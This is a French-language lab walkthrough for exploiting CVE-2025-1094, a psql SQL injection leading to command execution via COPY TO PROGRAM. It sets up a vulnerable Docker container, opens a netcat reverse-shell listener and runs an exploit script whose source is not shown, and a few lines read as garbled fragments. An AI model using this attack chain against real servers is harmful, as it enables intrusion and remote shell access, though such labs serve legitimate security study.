
Atelier pratique pour exploiter CVE-2025-1094, une injection SQL dans PostgreSQL psql menant à une exécution de code à distance (RCE) via COPY TO PROGRAM, avec configuration Docker et payload de shell inversé.
⚠️ Avertissement
Ce laboratoire est destiné uniquement à des fins éducatives et de recherche.
N'utilisez PAS les informations ou techniques présentées ici sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test. Toute utilisation non autorisée de ces méthodes peut enfreindre les lois et entraîner de lourdes sanctions.
CVE-2025-1094 est une vulnérabilité critique affectant l'outil interactif psql de PostgreSQL, découverte dans la version 14.15 et antérieures.
Elle permet aux attaquants d'effectuer une injection SQL pouvant conduire à une exécution de code à distance (RCE) dans certaines conditions.
La vulnérabilité provient d'une gestion inappropriée des entrées UTF-8 malformées dans psql.
En raison d'une validation insuffisante, les attaquants peuvent injecter du SQL arbitraire ou des méta-commandes comme ! (échappement shell), et même exploiter pour exécuter des commandes système.
COPY ... TO PROGRAMCOPY TO PROGRAM : Les attaquants peuvent exécuter des commandes shell arbitraires telles que :
/etc/passwd)psql avec des entrées non fiables (par exemple, BeyondTrust PRA, Remote Support) sont particulièrement exposés.Installer Docker :
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER
👉 Redémarrez ou déconnectez-vous puis reconnectez-vous pour appliquer les permissions du groupe Docker.
Installer Python et les dépendances :
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional
✅ Assurez-vous d'avoir une connectivité réseau entre les machines attaquante et victime.
docker pull postgres:14.15
docker run --name vulnerable_postgres -e POSTGRES_USER=postgres123 -e POSTGRES_PASSWORD=StrongP@ssWord -e POSTGRES_DB=labdb -p 5432:5432 -d postgres:14.15
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username TEXT,
password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF
Après avoir démarré le conteneur, vérifiez que tout fonctionne avec les commandes suivantes :
1. Vérifier que le conteneur PostgreSQL est en cours d'exécution :
sudo docker ps
📌 Vous devriez voir un conteneur nommé vulnerable_postgres à l'écoute sur le port 5432.
2. Accéder au conteneur et inspecter la base de données :
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb
Dans le shell psql, exécutez :
SELECT * FROM users;
Sortie attendue :
id | username | password
----+----------+-------------
1 | admin | password123
(1 row)
Quittez psql :
\q
✅ Votre instance PostgreSQL vulnérable est maintenant opérationnelle et prête pour l'exploitation.
3. Redémarrer le conteneur
sudo docker start vulnerable_postgres
nc -lvnp 4444
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.
COPY ... TO PROGRAM pour exécuter des commandes shell arbitraires💡 Astuce : Vous pouvez créer un instantané de ce conteneur vulnérable et le réutiliser ultérieurement sans avoir à reconstruire l'environnement.